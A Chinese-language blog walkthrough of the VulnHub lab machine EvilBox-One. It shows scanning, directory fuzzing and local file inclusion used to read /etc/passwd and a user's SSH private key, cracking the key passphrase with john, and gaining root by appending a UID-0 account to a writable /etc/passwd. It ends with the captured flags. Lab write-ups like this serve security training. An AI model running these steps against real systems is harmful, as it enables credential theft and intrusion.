『vulnhub系列』EVILBOX-ONE

Oboto發表於2024-05-28

『vulnhub系列』EVILBOX-ONE

下載地址:

https://www.vulnhub.com/entry/evilbox-one,736/

資訊蒐集:

使用nmap探測內網存活主機,發現開啟了22 和 80埠

nmap 192.168.0.*

訪問80埠web服務,發現apache預設頁面

使用dirsearch進行目錄爆破

dirsearch -u "http://192.168.0.131"

訪問/robots.txt發現一句話,H4x0r 可能是使用者名稱或密碼

Hello H4x0r

訪問/secret/ 發現是空白,我們來掃描這個目錄,發現沒有結果

我們可以嘗試換個工具和字典

gobuster dir -u "http://192.168.0.131/secret/" -w /usr/share/wordlists/dirb/big.txt -x .php
  • -u 目標url
  • -w wordlist字典
  • -x 檔案字尾

不知道為什麼使用dirb用同樣的字典和指定php爆破不出來

dirsearch -e php -w /usr/share/wordlists/dirb/big.txt -u "http://192.168.0.131/secret/"

最後發現evli.php,但是發現頁面還是空的

接下來使用工具ffuf進行爆破引數,最後得到引數為command

ffuf -u 'http://192.168.0.131/secret/evil.php?FUZZ=../../../../etc/passwd' -w "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt" -fs 0
  • -fs 0 過濾大小為0
  • FUZZ為字典爆破欄位
  • ../../../../etc/passwd因為不確定是命令執行還是任意檔案讀取,可以用隨意命令爆破,和足夠多的../../../。。。。/etc/passwd來確定

漏洞利用:

因為剛剛那個,可能是密碼,所以我們正好讀取/etc/passwd

檢視頁面原始碼,可以換行,發現使用者名稱為mowree

使用mowree來登入H4x0r 為密碼,發現登入失敗,看來沒這麼簡單,繼續使用任意檔案讀取

眾所周知,我們除了使用密碼登入ssh以外,還可以使用證書,而證書的私鑰一般儲存的位置

/home/xxx/.ssh/id_rsaxxx 為使用者名稱,我們使用任意檔案讀取發現確實存在

command=../../../../home/mowree/.ssh/id_rsa

複製下來,使用ssh2john工具將id_rsa轉化為john可以是識別的hash

ssh2john id_rsa > hash #將hash值輸出到hash檔案中

再使用john來破解密碼,得到密碼unicorn

john hash --wordlist=rockyou.txt #使用wordlist(字典)破解,這裡的字典是
#/usr/share/wordlists/裡的rockyou需要解壓一下

此時使用私鑰登入,結果發現有警告,並且需要輸入mowree的密碼

ssh -i id_rsa mowree@192.168.0.131

原因是,id_rsa的預設許可權為700,所以會出現告警。因此我們將id_rsa的許可權修改為700

chmod 700 id_rsa

此時登入,輸入unicorn 即可登陸成功

提升許可權:(passwd提權)

檢視所有既有SUID許可權的檔案,沒有發現異常

find / -perm -u=s -type f 2>/dev/null

使用命令檢視使用者可以以root許可權執行的命令,發現沒有這個命令

sudo -l

最後發現此使用者對/etc/passwd具有寫許可權,那麼這裡就可以使用passwd提權

拿root在passwd中的條目依次來看

root:x:0:0:root:/root:/bin/bash
  • root:使用者名稱
  • x:有密碼,本來是放加密後的密碼的,但後來都放入shadow中了,但也依舊支援此處是加密後的密碼
  • 0:使用者UID為0
  • 0:使用者組GID為0
  • root:使用者備註資訊
  • /root:使用者home目錄
  • /bin/bash:使用者預設的bash

因此,現在我們在對passwd有寫許可權後,我們完全構造一個類似的root使用者,我們個給passwd追加一個使用者,那麼現在首要就是生成一個加密後的密碼(加鹽值),這裡使用pyhton來生成

python3 -c 'import crypt;print(crypt.crypt("123456","addsalt"))'

#生成加鹽值的密碼
adrla7IBSfTZQ

現在我們來構造一個使用者

test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash

然後追加到passwd中:

echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd

檢視一下發現新增成功

我們此時切換為test使用者看一下,獲得root許可權

成果:

登入mowree使用者後在目錄下發現user.txt

56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

獲得root許可權後,在其目錄下發現root.txt

36QtXfdJWvdC0VavlPIApUbDlqTsBM